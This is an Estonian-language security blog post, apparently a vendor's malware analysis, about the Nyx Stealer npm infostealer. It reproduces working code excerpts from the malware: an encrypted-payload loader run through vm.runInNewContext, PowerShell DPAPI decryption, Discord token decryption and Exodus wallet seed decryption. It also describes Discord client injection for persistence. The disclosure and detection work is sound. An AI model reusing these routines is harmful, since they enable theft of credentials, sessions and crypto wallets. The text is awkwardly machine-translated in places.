npm Infostealer

Uus npm infostealeri avastus: Nyx ​​Stealer kaaperdab Discord sessioonid

TL; DR

Xygeni turvauuringute meeskond tuvastas keeruka npm-i infovarastamise kampaania, mis edastati kahe pahatahtliku paketi kaudu: konsoolimängu ja selfbot-lofy.

Uusim versioon (consolelofy@1.3.0) manustab 216KB AES-krüptitud kasuliku koormuse, mis dekrüpteeritakse käitusajal ja käivitatakse läbi vm.runInNewContext()Kuna pahatahtlik loogika on täielikult krüpteeritud, ei saa stringi kontrollile tuginevad staatilised skannerid selle käitumist jälgida enne täitmisaega.

Pärast dekrüpteerimist on kasulik koormus sisemiselt kaubamärgistatud Nyx Stealer, eesmärgid:

  • Discordi autentimismärgid
  • 50+ brauseri mandaatide poodi
  • 90+ krüptovaluuta rahakoti laiendust
  • Robloxi, Instagrami, Spotify, Steami, Telegrami ja TikToki sessioonid
  • Discord töölaua kliendi püsivus

Mõlema paketi kõik 20 versiooni teatati ja need kinnitati pahatahtlikuks.

Selle npm Infostealeri tehniline ülevaade

Erinevalt traditsioonilisest installimise ajal kasutatavast pahavarast tugineb see kampaania a-le runtime dekrüpteerimismudel.

Seal on:

  • Ei mingit pahatahtlikku preinstall or postinstall hooks
  • Ilmseid installiaegseid võrgukõnesid pole
  • Puudub lihtteksti abil mandaatide kogumise loogika

Kasulik koormus aktiveerub mooduli importimisel. Kogu pahatahtlik sisu krüpteeritakse ja materialiseerub mällu alles käitusajal.

See disain väldib spetsiaalselt paketi installimise ajal tuvastamist.

Kuidas see npm infovaras tegelikult tegutseb

Enne Nyx Stealeri varastatud asjade analüüsimist peame mõistma kuidas see toimib.

Selle npm-infovarastaja pahatahtlik loogika järgib järjepidevat mustrit:

Väike laadur dekrüpteerib suure krüpteeritud kasuliku koormuse ja käivitab selle dünaamiliselt Node.js virtuaalmasina kontekstis.

See disain on tahtlik. Ründaja ei varja funktsionaalsust ainult hämamise taha, vaid pahatahtliku koodi täielik eemaldamine staatilisest nähtavusest.

Kõrgetasemeline teostusmudel

Kõrgel tasemel teeb ümbris neli asja:

  • Tuletab AES-võtme kõvakodeeritud paroolist, kasutades SHA-256 krüpteeringut
  • Dekrüpteerib suure kuueteistkümnendsüsteemis krüptitud teksti, kasutades AES-256-CBC krüpteeringut
  • Käivitab dekrüpteeritud JavaScripti, kasutades vm.runInNewContext()
  • Pakub liivakasti, mis endiselt pakub võimsaid käitusaja primitiive

Põhitehnika kokkuvõte

Komponent Konfiguratsioon / väärtus
Algoritm AES-256-CBC
Võtme tuletamine SHA-256 (parool)
Initsialiseerimisvektor (IV) 16 baiti 0x00-st
Täitmine vm.runInNewContext(dekrüptitud, liivakast)

Kriitiliselt läbib liivakast:

  • require
  • process
  • Buffer
  • taimerid
  • moodulite eksport

See tähendab, et dekrüpteeritud kasulik koormus säilitab täieliku võimekuse:

  • Kudemisprotsessid
  • Failide lugemine ja kirjutamine
  • Võrgukõnede tegemine
  • Kohalike rakenduste muutmine

See ei ole piiratud virtuaalmasin. See on virtuaalmasin, mida kasutatakse hukkamisbatuudina.

Käitusaja krüpteerimismuster (põhiline täitmismehhanism)

Laadur on väike.
Pahatahtlik keha seda pole.

Allpool on pakendis olev teostusmuster:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Miks see küsimused

Dekrüpteeritud kasulik koormus:

  • Kas mitte eksisteerivad lihttekstina npm-paketi sees
  • Lihtsusele nähtamatu grep või staatiline stringi skaneerimine
  • materialiseerub mälus ainult käitusajal
  • Täidab kõiki Node'i käitusaja võimalusi

See AES + VM teostuskombinatsioon on tugev käitumuslik näitaja npm infostealer üritab staatilisest kontrollist kõrvale hiilida.

Teisisõnu:

Kui skannida paketi lähtekoodipuud, siis varastajat ei leia.
Näete dekrüpteerijat.

Mis juhtub pärast dekrüpteerimist

Pärast teoks tegemist käivitab Nyx Stealer paralleelsed andmekogumislained.

1. laine: brauseri mandaadi ekstraheerimine

Pahavara:

  • Laadib NuGet CDN-ist alla Pythoni käituskeskkonna
  • Paigaldab krüptograafilisi teeke
  • Väljavõte kroomipõhistest volituste poodidest
  • Dekrüpteerib DPAPI-kaitstud saladusi

Natiivsete seoste kompileerimise asemel kasutab see PowerShelli, et kutsuda otse Windowsi DPAPI-d.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Selline lähenemine:

  • Väldib kompileerimise artefakte
  • Kasutab Windowsi natiivseid krüpto API-sid
  • Sulandub haldustööriistadesse

See on operatsioonisüsteemi tasemel volituste dekrüpteerimine, mitte kraapimine.

2. laine: Discord Tokeni dekrüpteerimine

Varastaja on protokolliteadlik. See saab aru Discordi krüpteeritud tokenivormingust.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Töövoog:

  • Võta Discordist välja peavõti Local State
  • Põhivõtme dekrüpteerimine DPAPI kaudu
  • AES-GCM tokeniblokkide dekrüpteerimine
  • Tokenite valideerimine Discord API abil
  • Rikasta Nitro, märkide ja arveldusinfoga

See ei ole üldine volituste dumping. See on protokolliteadlik seansi kaaperdamine.

3. laine: krüptovaluuta rahakottide sihtimine

Npm infostealer loetleb:

  • 90+ brauseri rahakoti laiendust
  • 27 lauaarvuti rahakotti
  • Külmad rahakotiteed
  • Exoduse seemnefailid

Näide seemne dekrüpteerimiskatsest:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Edu korral on rahakoti kompromiteerimine kohene ja pöördumatu.

See esindab kampaania kõrgeima väärtusega monetiseerimisvektorit.

Püsivus Discord Desktop Injectioni kaudu

Pärast volituste kogumist üritab Nyx Stealer püsivust säilitada, muutes kohalikku Erimeelsused klient.

Sihtmärk:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operatsiooni järjekord

Infovaras teeb järgmisi samme:

  • Lõpetab töötavad Discordi protsessid
  • Leiab installitud Discordi variante (Stable, Canary, PTB)
  • Ülekirjutused discord_desktop_core/index.js
  • Süstib ründaja poolt kontrollitud veebikonksu loogikat
  • Taaskäivitab Discordi

See tagab, et tulevased Discordi seansid lekitavad automaatselt värskeid autentimismärke.

Oluline on see, et see püsivus ei sõltu ajastatud ülesannetest ega registrimuudatustest. See kasutab rakendustasemel koodi muutmist, mis on märksa salapärasem lähenemisviis.

Isegi kui pahatahtlik npm-pakett hiljem eemaldatakse, jääb Discordi klient ohustatuks.

Tehniline võrdlus: Legitimate Selfbot vs npm Infostealer

Komponent Legitiimne raamatukogu Nyx npm infovaras
Krüpteerimine mitte ükski Täielik AES-krüptitud kasulik koormus
Käitusaegne virtuaalmasin Pole nõutud vm.runInNewContext täitmine
Juurdepääs mandaatidele Ainult Discord API Brauser, rahakotid, DPAPI
Välised allalaadimised Ei Pythoni käituskeskkond NuGeti kaudu
Püsivus Ei Discord kliendi süstimine
monetiseerimine Botide automatiseerimine Volikirja edasimüük

Juba ainuüksi krüpteerimiskiht eristab seda kampaaniat tüüpilisest avatud lähtekoodiga hargnemisest.

Legitiimsel Discordi isetoimival robotil pole mingit põhjust kogu oma koodibaasi krüpteerida, DPAPI-le juurdepääsuks PowerShelli käivitada, väliseid käituskeskkondi alla laadida ega töölauarakenduste sisemust muuta. Kui need võimalused ilmuvad sõltuvusse, mis väidetavalt automatiseerib Discordi interaktsioone, muutub arhitektuuriline ebakõla ignoreerimine võimatuks.

Uurimise seisukohast jätab see npm-infovaras jälgi mitmele kihile. Kõige usaldusväärsemad näitajad ei ole aga kõvakodeeritud URL-id või konkreetsed failiteed, kuna need võivad versioonide vahel muutuda. Selle asemel on püsivad signaalid struktuurilised.

Paketi tasandil on tugevaim ohumärk suure krüpteeritud kasuliku koormuse ja koheselt käivituva käitusaja dekrüpteerimisümbrise kombinatsioon vm.runInNewContext()Kuigi krüpteerimine üksi ei ole oma olemuselt pahatahtlik, on AES-dekrüpteerimise ja sellele järgneva dünaamilise virtuaalmasina käivitamise kasutamine Discordi utiliidipaketi sees äärmiselt anomaalne.

Hosti tasandil hõlmavad kahtlased mustrid ootamatut DPAPI dekrüpteerimistegevust, protsesside käivitamist Node.js sõltuvuskontekstist ja kohalike rakendusefailide muutmist, mida kolmandate osapoolte teegid ei tohiks kunagi muuta. Samamoodi kujutab võrgukihil endast arendussõltuvuse algatatud väljaminevat veebikonksulaadset suhtlust veel üks oluline anomaalia.

Teisisõnu, tuvastuspind ei ole ainuke ohu indikaator. Ohtu näitab krüptimise, käitusaja täitmise, volitustele juurdepääsu ja püsivuse käitumise korrelatsioon.

Tuvastamine ja leevendamine Xygeni abil

npm Infostealer

See npm-i infovaras tuvastati Xygeni pahavara varajane hoiatus (MEW) pigem kihilise käitumusliku korrelatsiooni kui lihtsa signatuuride sobitamise kaudu.

Teadaolevate pahatahtlike stringide otsimise asemel hindab MEW struktuurilisi anomaaliaid kogu lähtekoodipuus. Antud juhul tulenes tuvastamine mitme signaali koondumisest: mooduli sisenemispunkti manustatud AES-i dekrüpteerimisrutiin, kohene käivitamine virtuaalmasina kontekstis ja selge võimekuse ja kavatsuse mittevastavus.

Oluline on see, et ükski neist signaalidest eraldi ei tõesta pahatahtlikku kavatsust. Koos analüüsituna paljastavad nad aga katse varjata käitusaegset käitumist. See kihiline lähenemisviis vähendab oluliselt valepositiivseid tulemusi, tuvastades samal ajal suure tõenäosusega tarneahela ohte.

Lisaks illustreerib see juhtum, miks ainuüksi installimise ajal toimuvast kontrollist ei piisa. Pahatahtlik loogika ei asu elutsükli skriptides. See aktiveerub alles pärast mooduli laadimist ja muutub nähtavaks alles pärast mälus dekrüpteerimist. Seetõttu nõuab tõhus kaitse krüpteerimist arvestavat analüüsi, käitumismustrite tuvastamist ja pidevat sõltuvuste jälgimist peale installisündmuste.

Registri eemaldamine on reageeriv. Käitusajapõhine analüüs on ennetav.

Miks see npm infovaras oluline on

Nyx Stealer esindab npm-põhise pahavara struktuurilist evolutsiooni.

Varem tuginesid paljud pahatahtlikud paketid nähtavatele installimise ajal skriptidele või ilmsetele volituste väljavoolu lõpp-punktidele. Seevastu see kampaania krüpteerib oma kasuliku sisu, lükkab täitmise edasi käitusajale, kasutab legitiimseid operatsioonisüsteemi API-sid ja loob püsivuse usaldusväärsetes rakendustes.

Seega ei pea ründaja npm-i infrastruktuuri ennast ära kasutama. Selle asemel õnnestub rünnak, kuna sõltuvuste installimine eeldab usaldust. Arendajad eeldavad, et teeki importimine on turvaline toiming, eriti kui see esitleb end populaarse tööriista usutava haruna.

Kuna ökosüsteemid kasvavad jätkuvalt ja hargnemised levivad, muutub see kaudne usalduspiir üha atraktiivsemaks rünnakupinnaks. Seetõttu nõuab tänapäevaste npm-infovaraste eest kaitsmine arhitektuurimustrite äratundmist, mitte staatiliste stringide otsimist.

Lõppkokkuvõttes kinnitab see kampaania olulist õppetundi software supply chain securityKõige ohtlikumad ohud ei ole need, mis esmapilgul pahatahtlikud tunduvad, vaid need, mis tunduvad struktuurilt õigustatud kuni käitusaja paljastab nende tegeliku käitumise.

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga